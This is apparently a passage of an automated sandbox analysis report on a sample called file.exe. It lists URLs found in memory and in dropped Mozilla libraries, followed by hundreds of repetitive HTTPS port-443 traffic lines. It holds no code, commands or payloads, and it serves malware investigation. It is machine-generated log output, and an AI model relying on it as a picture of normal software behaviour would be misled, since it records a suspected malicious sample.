Source: CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_85.5.dr	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_85.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_85.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_85.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
